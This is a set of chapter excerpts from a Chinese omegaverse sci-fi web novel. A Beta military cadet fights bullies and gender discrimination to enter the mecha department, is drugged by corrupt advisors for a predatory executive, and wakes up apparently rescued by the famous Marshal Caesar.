《你们不要总想标记Beta啊》 1. 第 1 章 《你们不要总想标记Beta啊》全本免费阅读 寒雨初霁。 联邦中央军校笼罩在春光中。 军校生踏着泥泞地面,正绕着操场长途拉练。口号声震天,汗水将制服后背洇透。 更远处,则是庞然巨物般的军事要塞。 无数星舰机甲在停机坪有序起降,发出震荡的轰隆巨响。要塞铅灰色的钢墙上,刻印着第三行星联邦的巨型标志:是一枚蓝色的行星球体,以白色藤蔓环绕。 距离恺撒·卡厄西斯彻底摧毁这一切,还剩458天。 “拍地别拍我腿。”林诺说。 被他夹在紧实大腿间的Alpha:“嘎啊啊啊啊啊!” 林诺叹口气,再次锁紧对方关节:“拍地!” “算了吧奥利弗,林诺的十字固你解不开的。”旁边有人劝那个Alpha,表情戚戚然,“认了吧。人家是格斗特招进来的。” Alpha嘎啊嘎啊半天,脖子脸涨成酱紫色,最后勉强从林诺膝弯下伸出另一只手,无力地摸地板。 旁观群众于是连忙叫:“他认输啦!” 林诺立刻松腿,让Alpha猛喘一大口气。 少年从地上爬起,弯腰去拉自己的对练伙伴,却被对方劈手打开。 “啪!” Alpha揉着胳膊和脖子,颇怨毒地瞪林诺一眼,就转身朝班里其他几个Alpha走去。 “唉,他们Alpha就这个尿性。平时跟Beta对练,下手多狠都无所谓,被Beta打败一次,立刻就觉得各种受辱。” 其他学员这时才围过来,有胆大的给林诺拍拍身上的泥,又很艳羡地瞅他:“但你是真牛啊,林诺,咱们Beta之光啊你。” 林诺脱下脏兮兮的战术手套,先去找自己的背包。 背包里有个很大、很旧的金属屏蔽耳机,他把耳机戴好,才开始曲着腿解枪带。 别的Beta学员跟过去,本想能再聊两句,见他突然戴耳机,面上不由都有点讪讪。 “没事。你们继续说。” 林诺见他们不说话了,便说,“我能听见。” 随后,他眼神越过对方肩头,轻微一停。 然后把那个Beta拨到自己身后。 刚刚拍地认输的奥利弗,现在带着5个Alpha,正气势汹汹越过训练场朝他来。 林诺把刚戴的耳机又捋下,直起腰来。 他用眼点了一下人头,一二三四五六,有一个算一个,全是在跟他对练时拍过地的。 “……找个地方,小子。我们再练练。” 几个Alpha人高马大,肌肉很夸张地在制服下贲起,呈半包围圈围了上来。 林诺186的身高,倒是没被压制,但Beta的肌肉密度天生比Alpha低,他的腰也偏细,以是被几个Alpha包围,看着有些寡不敌众的意味。 但林诺半步没退,黑眸直视对方,微微挑了下唇角:“可以。” “林诺!” 场外的教官一声暴喝,让还想上前推搡的Alpha们,暂且散开退去。教官大步走来,还带了个讯息,“马上去行政区,顾问找你。” 又压低声音,“估计是你申请机甲系的事有眉目了。快点去吧。” 林诺没来得及换训练服,匆匆穿过阅兵广场,就往顾问办公室狂奔。 阅兵广场的机甲联赛报名还没结束,小机器人举着喇叭,边飞边大声播报: “第996届机甲联赛报名啦——第996届机甲联赛报名啦——联赛优胜者,可被机甲系破格录取——” 林诺紧赶慢赶,跑到顾问办公室门前,才猛地站住脚,努力调整呼吸。 等喘息平复,他敲门而入。 “报告长官。我是2048届基础等级学员,1班林诺。” 少年背手跨立,腰身挺拔,站姿像一棵傲气的白杨树。 大腿上的枪带没来得及解,勒得紧紧的,隐约能看出饱满漂亮的肌肉线条。 办公桌后坐着两个肩配下士军章的军校顾问,林诺敲门进来前,似乎正在大声谈笑。 见林诺已经站好等着问话,顾问A才瞭一眼桌上的档案,开始低头喝水。 “林诺。我看你的高等级专业申请,填的是机甲系?” “是,长官。” “过来扫下虹膜,把申请改了吧。” 林诺眉角轻微一抖,随即慢慢抬眸。 他的眼睫天生似浓墨,眼底还有一枚不太起眼的小红痣,因此每次垂眸思考,眼睫就会把小红痣盖得严严实实; 而每次抬眼盯人,小红痣就又会从眼底跃出来。 “长官,我不太明白。” 林诺说。 “我的精神力数值是3592,体能检测项目全A,过往6年的在校平均成绩A等以上。我符合报读机甲系的全部条件,为什么需要修改申请?” “啊对对、对对,你说得很对。过去6年,你的确很努力,这些我们都看在眼里。” 军校顾问哗哗翻过他的在校履历,动作多少有些敷衍。 6年的“A”和“A+”,就这样在纸页的残影间掠过去。 “但你看。你不是个Beta吗?” 军校顾问随手把文档往桌上一抛,手指第三次叩住档案页的“第二性别”栏。 “Beta的话,联邦原则上是会倾向于让你申请星际导航、动力工程、军科技术这方面的。这样吧,我帮你申请星际导航系,毕业后就可以去当星舰驾驶员。” 林诺不看文档,只执拗地盯着他:“长官,我还是不明白。” 军校顾问再次低头喝水。期间掀起眼皮,又看了眼面前的林诺。 他对这个Beta学生倒是挺有印象的,当然主要印象是来自那张脸。 联邦仪仗班每次来中央军校,都指名道姓向军校要他,被这个不长眼的家伙连拒八次。 不过。 他抽空查了下林诺的家庭背景。这个学生是工薪阶层家庭,父母是机械工程师,早年自杀双亡,现在被叔叔抚养。 在如今的第三行星联邦,光这个出身阶层,已经足够让他当一辈子炮灰了。 林诺仍在追问:“有任何章程、任何条例、任何法令规定过,Beta不允许申请机甲系吗?” “那倒没有。” 林诺:“在完全符合机甲系招收标准的前提下,为什么我需要修改申请?” “因为你是个Beta嘛。” 林诺沉默抬眼,小红痣像要在眼底燃烧起来。 “中央军校很多高等专业属于Alpha的特攻领域,机甲系尤其是。Beta的话,能配合做好一些辅助性工作就行了。” 军校顾问再次喝水,“机甲系每年淘汰率在40%以上,毕业后真正能达到上前线标准的,甚至不超过12%。你知道每一台训练机甲,都是用联邦公民的税金造的吗?某种意义上,我们也是想把有限的教育资源,尽量留给更适合这个领域的人才。你能理解吗?” “如果考核成绩证明,让我进入机甲系就是浪费税金,那么我完全可以接受被淘汰的结果。” 林诺说,“但在机甲系入学考核尚未开始时,长官就要求我修改申请,我会认为非常荒谬。” 军校顾问不喝水了,杯子很响地一放。 学生群体就是喜欢出刺头,他心里暗骂。 自英雄恺撒横空出世,各大军校的机甲系都被挤破了头。 而作为顶尖军事院校的中央军校,机甲系是何等含金量,相信那些议员的孩子们会比林诺更清楚。 于情于理,他们都不该把名额浪费在一个工程师儿子身上 而且还是个Beta。 “嗯嗯,你说得对。那你报吧。” 他把林诺的档案往前一丢,档案差点从办公桌边缘滑出去。 “我今天说这些话,都是为你好。你不爱听,那就报。你可以赌一把,等6个月后高等专业开学,你是能留下来读书,还是回家去打螺丝。” 林诺不再废话,一把抽走自己的档案,转身出门。 门还没关,他就听见两个顾问开始大声抱怨:“真的没有礼貌,现在的学生……年年一堆人抢注机甲系,今年连Beta都敢来报,离谱得不行……” “……还不是恺撒·卡厄西斯带的好头?……都幻想能当第二个英雄恺撒,也不看那家伙现在什么下场,精神力都毁了,要不是还有军事指挥才能……” 接下去的话,林诺直觉自己不会很爱听。 于是把门用力一关,面无表情地走了。 中央军校迄今已有近一千年历史,是联邦最顶尖的军事名校之一。它也是全联邦最靠近前线的军校——就盖在“宙斯边界”的星城环上,旁边就是木星轨道上赫赫有名的宙斯要塞。 按照联邦法律,任何将领都不得在未解除兵权的情况下,将军队带过“宙斯边界”,否则就将视为对全体公民的反叛。因此宙斯要塞除了提供舰队起降平台,也是联邦各个将领举行凯旋仪式、公开解除兵权的地方。 军校和真正的军事要塞比邻而建,好处和坏处都很明显。 好处是在正规军没有训练需要时,学生们可以自由使用他们的训练场地,还能蹭到正规军的训练课;偶尔在阅兵广场一抬头,还可以看见联邦舰队起降的名场面。 坏处大概就是,他们得经常忍受舰队跃迁的噪音。 因此诸多军校中,唯独中央军校为学生配备了屏蔽耳机,并允许他们在日常训练中佩戴,以避免听力受损。 ——而这一点,则是林诺无论如何,也想留在中央军校的原因之一。 林诺目标明确,离开行政区,快步走向 2. 第 2 章 《你们不要总想标记Beta啊》全本免费阅读 ……时隔许多年,林诺都没忘记那只手的温度和力道。 只是不知道为什么。 现在看着屏幕里的银发男人,他却总感觉对方似乎发生了很大的变化。 某种无关年龄的变化。 “我听说恺撒元帅的同款义眼,在星网好像卖得特别火爆。” 旁边的学员在小声交头接耳,“好多人甚至去做摘除眼球的手术,就为了能佩同款……” “那倒也不至于专门摘眼球……” 林诺偏头想了想,决定把这种变化归因于恺撒的眼睛。 少年恺撒有一双非常凌厉的灰蓝色眼睛,垂下来看人时,却又隐约透出柔和。 但在7年前的“星陨战役”中,恺撒重伤失明,精神力全毁。 于是如今,嵌在他那深邃眼窝里的,便只剩两只浅灰色的机械义眼了。 虽然是以联邦最高科技水准打造的可视义眼,但机械带来的无机质感已经无法消除。 每当恺撒移动视线,那对没有血肉质感的眼珠,就会呈现一种轻微的迟滞感。 “——谨以德尔斐圣殿、第三行星联邦之名。恺撒·卡厄西斯在此宣誓。” 屏幕中,银发男人缓慢抬起左手。 在漆黑的皮革手套下方,映射出联邦的全息标志。 他一手虚按着标志,一手微触胸口,率领士兵集体宣誓。 “我必将忠实执行联邦公民赋予我的伟大职务。我必将全力恪守、维护与捍卫联邦宪法——” 在凯旋仪式的宣誓环节,士兵们本应该朝联邦旗帜行注目礼。 但在帽檐的阴影下,无数双眼却只盯着阅兵台上的人影,显出某种古怪的狂热。 “我将承诺,向联邦政府献上此生最高级别的忠诚——” 恺撒轻声说。也不知怎么的,在说到这一句时,男人唇边,蓦地勾起很小的弧度。 似乎是被逗笑了。 “——并至死不渝。” …… 林诺一个人靠在训练场后方的垃圾区,军靴百无聊赖踢着地。 等到脚步声陆续响起,他才从墙上提起身子。黑眸往上一撩,小红痣随即跃出。 “十分钟。不打脸,不打作训服外的部分。” 他说,“被打哭了也不准告诉教官。” 对面人影晃动,来了五六个Alpha,都是训练场上的熟面孔。听他这样讲,嗤地笑出声: “林诺,学其他Beta老老实实低头做人,这6年能少挨多少打?” 林诺说:“等会你就知道我为什么低不了一点头了。” 说罢,朝对方勾勾手指:“来。” 整个2048届都知道,1班的格斗教官最喜欢的孩子就是林诺。他逢人就吹林诺的运动神经如何惊人,格斗天赋如何突出,每回期末考核,比上学期又突飞猛进多少。 不过他并不知道,林诺绝大多数突飞猛进的契机并不在训练场,而是在训练场后的垃圾区。 10分钟后,他把最后一个还站着的Alpha骑翻在地,一边仰着头止鼻血,一边利落地用腰带盲捆对方手腕。 “以后有事可以直接来找我。” 他说,“没必要对我的舍友搞小动作,很没品。” 被他骑着的Alpha又吐又咳,还能跟他有问有答的:“我还当你们Beta都能吊成你这样呢,结果是几个扇两巴掌就哭爹喊娘的窝囊废。没趣死了,最后就让他们互殴肚子半小时完事。” 林诺站起身,临走时没忘记挨个踹一脚屁股,换来一片骂声。 才刚转身,又听一个Alpha在身后说:“我看了联赛名单。怎么,你也报今年机甲联赛?” 林诺脚下微停,转过脸来。 那个Alpha正捂着肚子,勉强挪到墙边。见林诺回头,他露出一个口吐白沫的讥讽笑容,说: “你以为开机甲是开挖掘机,会推操纵杆就行?没受过联邦的精神力驱动训练,机甲到你手里就是块废铁而已。” 林诺没说话。 三种性别中,Alpha天生就具备较高精神力,Beta中有一部分具有精神力、但数值较低,Omega则是完全没有精神力。 针对8-12岁的Alpha,联邦会提供精神力驱动阶段的义务教育,旨在引导Alpha识别和使用自己的精神力。 而理所应当般,林诺当年依旧没能申请到这个项目。 “你最好期待跟我们分到一组。”另一个Alpha说,“自从知道你也报了机甲联赛,哥几个就早早准备起来了。我们觉得到时把你从驾驶舱里拖出来,扒光衣服,吊在机械臂上绕场三圈,应该很能活跃现场气氛。你觉得呢?” 林诺本来都已经要走,军靴原地打个转,又走回来。 Alpha:“分不到一组也没关系,毕竟我们Alpha之间只要互相通个气……好的,对不起!对不起!对不起!” 反关节技总是会让人剧痛难忍,Alpha被他用膝盖压着胳膊,按在泥里,眼泪和汗水一下扑簌簌往外乱飚。 林诺挑唇:“真是稀奇。从没见过哭着放狠话的。” 又加重力道,低声说:“说再也不会来找我舍友麻烦。说!” Alpha:“再也不会了!再也不会了!快松手,我c!” 他始终很讲信用,几个Alpha露出作训服以外的身体部分,都没有明显伤痕。 但对方就明显不讲武德了,一记暗棍,把他手背抽得肿起一座山。 林诺一边往宿舍走,一边低头偷偷吸手背上的淤肿。他很希望下午上课时不会被教官发现,然后扣他学分什么的。 一推门,宿舍里的说话声猛地一静。 三个舍友都是Beta,这会儿仍坐在满地狼藉中,佝偻着背,用治疗射线照射疼痛难忍的腹部。 见林诺进来,他们同时看他一眼,又默默低下头,不去跟他搭话。 林诺走到自己床前,脚步微停。 宿舍里有一张公共书桌。而他之前放在公共桌上的东西,已经被全部丢到他床上了。 “我请你以后尽量少出点风头。可以吗?” 一个舍友在他背后说。 “让一下他们又不会死的。” 而林诺弯着腰,把床上的东西收进行李,再把那副很旧的屏蔽耳机小心放好,就将行李提起来。 “我去申请换宿舍。”开门时,他对几个舍友说,“以后没事了。” 行李很重,林诺肿起的那只手有点疼。 于是他就换另一只手拎,伤手小心揣在裤兜里,总之还是酷酷的。 “想一个人住不可能,已经没有空宿舍了。” 指导员跟林诺讲,他和林诺的格斗教官是好朋友,还是想尽力帮他,“只有空了一张床的宿舍,舍友是三位德尔斐信徒。 “你……可以吗?” 指导员语气比较委婉,但林诺一下听出对方话里的意思。 联邦实行宗教自由政策,军校招收有各种信仰的学员都不奇怪,但唯独德尔斐信徒,似乎很难跟其他学员相处融洽。 他们的日常习惯、生活作息,都相当我行我素。军校每年都会收到大堆联名投诉,要求让德尔斐信徒们单独住一栋宿舍楼。 不过从另一个角度来说,在联邦没人敢去动德尔斐信徒,就算是那些Alpha的议员老子们来了也一样。 于是他点头说:“我没问题。” 他从指导员办公室出来,两个机甲系学员从他身边经过,正一脸兴奋地讨论: “所以恺撒元帅现在是在宙斯要塞常驻?还是已经回地球了?” “他很少回地球的。没作战任务的时候,都是在各个要塞或者星舰上训练部队,我估计这次应该也一样……” “我去,那离我们好近……不知道他有没有可能来机甲系开课指导……” 手背还是有点疼。林诺用力甩了一下,又悄悄放到嘴边舔舔,想等到了新宿舍再用治疗射线。 然而痛感愈发剧烈。 然后在某个毫无预兆的瞬间,一下攫取了他的全部注意力。 嘈杂的人声突然放大百十倍不止,头顶的白炽灯爆发出磁线爆般的光圈。 有学员发现他状态不对,好心过来问他,可是嘴巴一开一合,林诺愣是听不清对方在说什么。 他迅速摸到墙边靠住,开始快速翻找行李里的耳机。 学员:“……怎……你没事……” 林诺摸到包里的屏蔽耳机,两手发着抖,努力戴到自己头上。 耳机持续输出一种特殊频率的白噪音,他闭眼凝神听了好一会儿,才感觉那些夸张的光线、噪音和痛感,都开始缓慢降回正常水平。 “不好意思,”他低声回答,“刚刚没听清。” 但那个学员早已挠着头,自讨没趣般走远。 “好拽哦……这会儿又没星舰噪音……” 林诺垂眸,把白噪音的音量调高,然后继续往新宿舍前进。 这些年,小叔为了他的罕见病,已经跑过不下十几个星区,但始终找不到治疗方法。 从三岁起,他的感官超载现象就变得愈发明显。一般人可以轻易屏蔽生活里不重要的感官刺激,比如陌生人的谈话,隔壁餐桌刀叉的碰撞,或者邻居家的玻璃反光等等。 但不知道怎么的,对林诺来说,要做到这个简直难于登天。 他的感官天生比普通人敏锐,可怕的是敏锐同时,他却没有任何控制能力。 以至于本来自己玩着玩具,窗边一艘飞行器掠过,他都会一下钻到玩具箱里,捂着耳朵尖叫好几个小时。 林诺的爸爸妈妈是机械工程师,对感官超载这种罕见障碍完全手足无措,四处求医问药,却总也得不到结果。 最后还是林诺妈妈发现,小林诺在机甲工厂里的某种特殊噪音下,病情似乎会立刻消失。 她反复实验,最终确认532赫兹的特定噪音,就可以有效控制林诺的罕见病。 拿到数据后,林爸最终设计出特制的屏蔽耳机。耳机既可以过滤外界噪音、播放532赫兹的白噪音,同时也能让人声清晰通过。 考虑到小林诺的脑袋会长大,林妈还特意做了自动适配功能,希望在林诺找到治愈办法前,屏蔽耳机都能一直保护他。 “两个机械师生了一款耳机宝宝,好酷的有没有!”林爸超乐观。 但特制耳机体积相对正常的屏蔽耳机更大,需要完全罩住耳朵才管用。 因此小林诺的童年,基本就是一个人戴着大耳机坐在一旁,看同龄小朋友对他指指点点。 “天天戴着耳机不理人,还以为自己好酷!Strong哥~” 小林诺低下脑袋,去掏包包里的病历。 耳机会增强人声,所以他都能听见。 “我有感官超载症,是一种很难治的病。耳机是治疗的仪器,我戴着它就不那么难受了。” 他还翻开病历给小朋友看。 “这是我的病历,我没有说谎的。” 小朋友们不看,把病历丢在地上乱踩:“Strong哥~Strong哥~” 小林诺捡起病历,拍拍灰。 然后一脚一个,把他们头朝下踹进沙坑里。 12岁考军校那年,小叔还特地扛上一麻袋水果,拉着林诺四处求人问话,总算找到一个愿意搭理他们的军校医官。 “有这种罕见病,普招体检绝对过不了。” 医官测了他在白噪音状态下的注意力,又检查过他的精神力。 “不过真奇怪……这孩子的精神力特别稳定。一般来说,就算天赋最好的Alpha,在这个年龄的精神力也应该是狂躁紊乱的。” 小叔忙问:“那我们跟考官好好解释下,体检标准是不是能放松点啊?小宝现在已经比小时候稳定很多了,发病频率特别低,而且也能马上靠白噪音恢复的。” 小林诺好难堪,脸蛋埋在衣领里:“不要叫我小宝!” “不可能。” 3. 第 3 章 《你们不要总想标记Beta啊》全本免费阅读 训练场不是机甲库,不存在有巡逻机器人一说——而且,巡逻机器人用的是高压电。 宙斯要塞里的正规军人倒有可能配枪,但在非战时阶段,士兵的枪支都要统一上交。 ……除非将级以上。 林诺脑中一瞬闪过无数名字。 宙斯要塞是联邦最重要的军事枢纽之一,近期也有不少将领在这里短暂驻扎。 他一个个回想过去,并下意识似的,把其中最熟悉的人名划掉。 “……你总是太急躁,杜兰德。” 距离林诺几百米开外的黑暗中,一个高大到异常的“人”影,正无声持枪矗立。 那“人”从头到脚披覆纯黑重甲,体型几乎要接近两米。 他的头盔长得像个粗糙的铁桶,头顶还竖着两根短短的接收器。 “要记住这里跟前线不一样。” 厚重的头盔内部,男人低缓的声线在耳麦响起,“在联邦要塞,处理尸体总是很不方便的。” 沉默片刻,人形重甲将爆能枪收起。 林诺同时捕捉到枪套扣上的咔哒声。 他没有第一时间离开掩体,而是将手上的腕表调试片刻,从掩体后方用力一扔,扔到黑暗里的另一个方位。 “我是中央军校的一名基础学员,请确认我的身份识别码。” 腕表自发读出林诺录入的文字。一枚识别码,也在腕表上方打亮,供对方扫描确认。 “我来这里不是想偷窃或破坏。只是为了准备机甲联赛,想要多找时间上机实训罢了。” 尽管这是在联邦要塞,星盗或恐怖组织能潜入的概率很低,但林诺的直觉总感觉哪里不对劲,对方似乎也不像是联邦军人或学校教官这种角色。 沉寂片刻。 脚步声响起。听上去不像军靴,而是一种金属战靴的嘲哳摩擦声。 林诺极度警惕,扶着机甲足部循声移动,始终保证自己与对方之间有掩体相隔。 少顷。 那边似乎又收到了什么新指令,他的腕表被捡起,然后远远地抛了回来。 借着腕表微光,林诺一瞬看清了对方的样子。 他从来没见过那种东西。以是陡然在黑暗里看清,刹那间毛骨悚然,第一反应觉得那是疯狂科学家造出来的人形兵器。 而且距离缩短后,林诺还能听见一种沉重、嘶哑的呼吸声,在盔甲下持续闷响。 不是机器。而是一个活生生的人,被严丝合缝地封裹在钢铁盔甲内。 他后颈上的汗毛立得更直。扶在掩体上的拳头紧紧攥着,随时准备迎战。 但是数秒后,人形重甲如出现时一样,毫无预兆地转身消失在黑暗中。 * ……林诺好几天没敢再去机甲训练场。 他闷闷不乐地等了一周,每天只看着信徒舍友叮咣磕头,却既没等到校内通告处分,也没教官来找他麻烦。 心中不由疑惑。 机甲联赛的日子还在逼近。林诺都快把机甲系教材背下来了,却连一次上机实操的经验都没有,越发觉得心急。 他最终决定,再去一次机甲训练场——也不至于倒霉到回回都碰上那种古怪的人形兵器。 依然是凌晨空无一人的训练场,依然是伸手不见五指的黑暗环境。这回林诺不着急上机,而是背贴着墙,悄无声息地在场内搜了一圈。 果不其然。在他上次被瞄准的位置,还是伫立着一具通体漆黑的人形重甲。 再仔细一搜,训练场的各个方位,竟还零星分布着好几个,一双双形状凶悍的眼灯,都在黑暗里幽幽亮着。 林诺远远地躲在掩体后,很警惕地露着半个头观察。 他这一周在星网上仔细搜寻过,并没有看见同款式的动力盔甲。 那或许是军部新发明的改造人保安?他心想。 改造人在联邦仍属于伦理争议很大的范畴,不对外公开也是正常的。 但既然一周都没有接到处分,他暗自揣测,或许这里面会有那么一点点……默许的意思? “长官,我知道现在不是训练场开放时段,但我真的非常需要上机实训的机会。我不会携带任何不属于我的东西离开这里,您可以对我进行搜身检查。” 他依旧扑地往人形重甲脚边丢了个腕表,主动向对方表明来意。 但是这回,人形重甲们却像一尊尊沉默的铁皮雕塑,只在原地岿然不动。 就连丢过去的腕表,都没像上次一样被扔回来。 林诺:“……” 他不敢轻易靠近去捡,就皱着脸,很远地绕了几圈。 见对方真的没有要扔回来的意思,他只得先放弃自己的腕表,尝试在对方眼皮底下去找训练机。 他特地找了一架离他们最远的机甲,钻进驾驶舱里,等了好一会儿,对面似乎也没要把他拽走的意思,这才不由松了一口气。 林诺早已背熟操作说明书,此刻坐在驾驶座上,将自己熟练固定,就迫切地去摸操纵杆。 “——来吧。” 他决心今晚先学会用机甲打军体拳。 为避免在驾驶途中发病,他把耳机戴好,调高白噪音。无数发光的神经纤维从驾驶舱垂落,顺着林诺的发丝渗入颅骨。 【检测到驾驶员就位。】 【正在建立神经链接……正在进入精神海……】 操纵机甲的原理,就是利用精神力冲击激活机甲,然后大脑维持与机甲的同步率。 达到一定同步率后,由大脑发出的运动神经信号,来控制机甲行为,再通过操纵杆和面板,进行辅助性的微操。 【同步率,12%,31%,32%,31%,34%……警告,同步率较低,请加大精神力输入频波。】 林诺微微咬紧牙根,黑眸里的精神力光芒开始急速闪烁。 他没接受过联邦的精神力驱动教育,也从来没有开过模拟机,一上来就是实机操作,因此也摸不准自己现在具体输出了多少精神力,该怎样加大输出频波。 于是只能死瞪着面板上的精神力数值,属于眼睛跟脑子一块用力。 【请加大……同步率达到40%,距离完全启动还有5秒。】 【5,4,3,2,1……】 静默伫立的20米训练机甲,在黑暗中缓慢亮起眼灯。 它缓缓抬起一只左脚,似要往前迈步。 但只见左脚越抬越高,越抬越高,几乎抬到胸口。 机甲单脚站立,重心不稳,就开始缓缓往前倾倒。 林诺猛打操纵杆,就差要从驾驶座上站起来。 机甲以一种诡异的 4. 第 4 章 《你们不要总想标记Beta啊》全本免费阅读 ……林诺和训练场里那些古怪的人形重甲们,就此开始一段诡异的共处时光。 他每天凌晨准时被舍友闹钟叫醒,然后穿衣洗漱,溜进机甲训练场里上机实训。 那些穿盔甲的“保安”有时在,有时不在,也不知道不在的时候是不是跑到哪去喝酒摸鱼了。 林诺只管自己钻驾驶舱训练,也不去主动跟对方打交道。 不过启动机甲时,那几个“保安”通常会假借换岗走位,默默挪动得更远些。 林诺正在驾驶舱里戴手套,无意间瞅见,又感觉有点郁闷。 ……怎么搞得他像机甲杀手似的,他技术也没那么糟吧。 秘密训练持续了半个月,他又一次在课上被叫进顾问办公室。 “长官。” 林诺依然像上次一样,背手跨立,腰杆挺拔。 但他的眼神明显有些飘移:他不确定那些保安改造人是不是背后告了他的状。 “林诺,坐。坐呀。” 顾问A的态度,却跟上次来个一百八十度大转弯。 他给林诺搬来椅子,又乐呵呵地往他面前放了一杯水。 “坐啊。” 林诺不坐。 他仍记得自己上次在这个办公室受到的羞辱,因此只把嘴唇抿成一条薄线,黑眸冷淡地盯着他们。 两个顾问暗自对视一眼。于是顾问B接过话头: “林诺,这次叫你来,是因为你申请机甲系的事有眉目了。” 林诺眸子一闪,慢慢抬起来:“……什么?” 顾问A趁机在旁边说:“坐吧。” 又把那杯水端过来,“先喝水,喝着水慢慢听。” 林诺坐下来了。 但他拿着杯子,没喝,而是蹙着眉追问:“有眉目是什么意思?” 眼神扫到他们肩上的下士肩章,还是补了一句:“——请问,长官?” 顾问A:“你应该是知道以太集团的,对吧?他们一直跟联邦仪仗班有商业合作——噢,就是被你拒过八次的那个仪仗班。” 林诺点头。 他平时专注埋头训练,对联邦政商方面的事情并不了解。 但即便如此,他也是听说过以太集团的——联邦三大财团之一,主营军备和信息科技,旗下有大量高科技企业和研究机构。 两个顾问又对视了一眼。 顾问A在他面前坐下,和颜悦色地:“我知道你一向很努力,所以当以太集团的董事科尔曼先生,来学校洽谈新一批训练机甲供给时,我特地把你的履历给他看了看。” 顾问B在旁边按着他的肩:“林诺,喝水呀。” 林诺手里握着杯子,两条英气的剑眉微蹙。 他其实还是没听懂,但没打断他们,只是默默听着。 顾问A:“科尔曼董事认为你的形象和履历都很不错,他希望你在进入机甲系后,可以抽空帮以太集团代言一些新型机甲。当然,是在绝对不影响你训练的前提下。” 顾问B:“喝水吧。” 林诺偏着头,露出一个非常困惑的小表情。 “……什么意思?” 他难得有些卡壳,“我是军校生,联邦正规军预备役。我不会当什么娱乐明星。” “没人说要你当娱乐明星啊。”顾问A哈哈大笑,“联邦军跟财团的合作一直都是紧密的,只是你现在还没毕业,所以还没接触到这方面罢了。” 顾问B也在笑,俯身拍拍他握杯的手腕:“林诺,喝水。” “要不这样,你自己去跟科尔曼董事聊聊吧。” 顾问A说,“他现在还在宙斯要塞的港口,14点的地球航班。他本人也是Beta,在听说你的事后,直接向学校要求,把你的名字放回申请名单里去了。 “或许你可以跟他讲讲自己的想法。实在不愿意跟以太合作的话,我觉得他是不会为难你的。” 林诺垂下头。 他问了一个问题:“如果我不去的话,我的名字就会被再次撤出申请名单。是这个意思吗?” 两个顾问的笑容,都不同程度地一僵。 “怎么可能呢?只是科尔曼董事他……一直在给中央军校无偿捐助训练机甲。” 顾问A委婉地说, “假设你真的不愿意跟他们合作,无论如何,最好能当面告知他理由。不管对校方还是对他,都是一种礼节上的体面……” 林诺指尖在杯沿摩挲。 他并不想跟什么财团的人打交道,也不会为了能上申请名单,就去当什么新型机甲代言人。 但因为那句“无偿捐助训练机甲”,他觉得当面跟人把事情说清楚,也不是不可以。 于是,林诺将杯子里的水一饮而尽,站起身来。 “好。”他说,“我去跟他谈。” * “……Beta自然有Beta的好。不像Omega会留下气味,也不像Alpha那样,动不动就寻死觅活的……上次那个不是都跳楼了?集团花了好大价钱,才把媒体的嘴堵住。” 两个小时前。 宙斯要塞,贵宾会客区。 科尔曼董事口中叼着雪茄,在烟雾缭绕中击出母球。 以太集团派出一个小组,跟联邦仪仗班顾问、中央军校顾问约在要塞碰面,为了把新季度军备采买合同签订下来。 合同已经签完,众人都很放松,就在会客区一边打桌球,一边聊天取乐。 “Beta?” 旁边的仪仗班顾问听见这个词,加入话题, “说到Beta,你们学校那个林诺,到底什么时候才肯进仪仗班啊?我们仪仗部队哪里比不上机甲系,既不用上前线给联邦卖命,露脸率还高,对以后的军队仕途很有帮助的啊。” 军校顾问抽着烟:“学生思维别费劲猜,你猜不透。” 又有以太集团的人接话:“等等,联邦仪仗队不是一直都全Alpha配置吗?你们什么时候降格要Beta了?” 仪仗班顾问摇头:“那孩子形象真的很好,不进仪仗班露面,简直是联邦公民的一大损失。” “……真有这么好?” 科尔曼董事突然开口,众人都愣了一下。 不过他的癖好,在圈子里不是秘密。 “不如我把他带来,”顾问A隐晦地说,“你们……‘聊聊’?” “可以啊。” 科尔曼董事乐呵呵的,眼睛眯成一条缝, “不过背景没什么问题吧?他姓林,可别不小心把南境林家的人弄到我的飞艇上,会死人的。” “联邦姓林的人有几百万,怎么可能都是南境林家的。” 顾问B笑着说,“就是个机械工程师的儿子,早年父母都死了。” 科尔曼董事点点头,看过秘书递来的军校履历。 又说:“看他履历,小孩很能打呀。帮我提前准备一下?一把老骨头了,怕治不住……” 会客区再次响起心照不宣的哄笑。 * 林诺越过军校大门,走向要塞港口。 两个军校顾问一左一右夹着他,一路跟他闲聊,他也没怎么搭理。 但不知怎么的。 ……他总觉得有些头晕脚软。 不太像罕见病发作,倒像是中暑。 林诺抬头看了看。头顶的屏障层完好无损,过滤掉木星轨道上强烈的风暴和紫外线,只有温和的柔光洒下来。 5. 第 5 章 《你们不要总想标记Beta啊》全本免费阅读 ——林诺猛地挣了一下。 肚子上的一件军装大衣,无声从沙发滑到地板。 他的记忆还停留在自己走进要塞港口,感觉有点中暑,于是抬头看要塞屏障的时候。 此后被带去哪里,见了什么人,又跟谁敬过军礼——一切都像被蒙上浓雾,记不清楚了。 林诺懵懵懂懂,勉强从沙发上支起上半身。 他的个子太高,大腿一半都要搭在扶手上。 等把腿放回地面,他弯腰去捡掉在地上的黑色军装,可军装上的肩章,让他再次愣住。 三根光带,一颗行星。 元帅军衔。 “醒了?” 男人的声音从对面传来。 然后是椅子被拉开的声音,脚步声,一点点空纸杯的窸窣细响,自动净水机哗哗的水流声。 随后,脚步声离他越来越近,一双军靴停在他垂落的视野中。 “回去后记得大量喝水。对你会有好处。” 林诺坐在沙发上,脑袋还是懵的,视线从眼底的军靴往上飘,定格在那头罕见的银发上。 恺撒的银白发色是天生的,颜色很纯粹。 因为用了一些发蜡定型,在白炽灯下有种沾了水的银丝光泽。 “……”林诺说,“长官好……” 银发男人嘴角微勾:“这种时候就别管什么军规了。” 他手里拿着一杯水,林诺看见了,就伸出手去接。 但他的身体不知道怎么回事,每个部位的肌肉都使不了力,手也抖得厉害。 好在,恺撒也没有立刻松手,只是稳稳端着杯子,让林诺就着他的手喝。 林诺扶着杯子,咕嘟咕嘟喝水。一边喝,一边又悄悄地往上看,好像在确认对方是不是真的恺撒。 恺撒站在他面前看着,从他的角度,恰好能看见少年抬眼看他时露出的一点点下眼白,还有眼底那枚殷红的小痣。 “在联邦,不要随便喝别人递的东西。” 恺撒说,以他的性格,这句提醒,其实已经算管得太多。 “不管是谁给你的。” 林诺体内的药效还没过,所以反应也比平时要迟缓些。 他上一秒还就着恺撒的手喝水,下一秒听见这句话,一大口水早就滚过喉结,咕噜吞进肚子里了。 他立刻把嘴巴从杯沿移开,身子往后一退,黑眸里的情绪从困惑懵懂,一下子变得警惕起来。 银发男人发出一声低叹,似乎带着一点无奈的笑意。 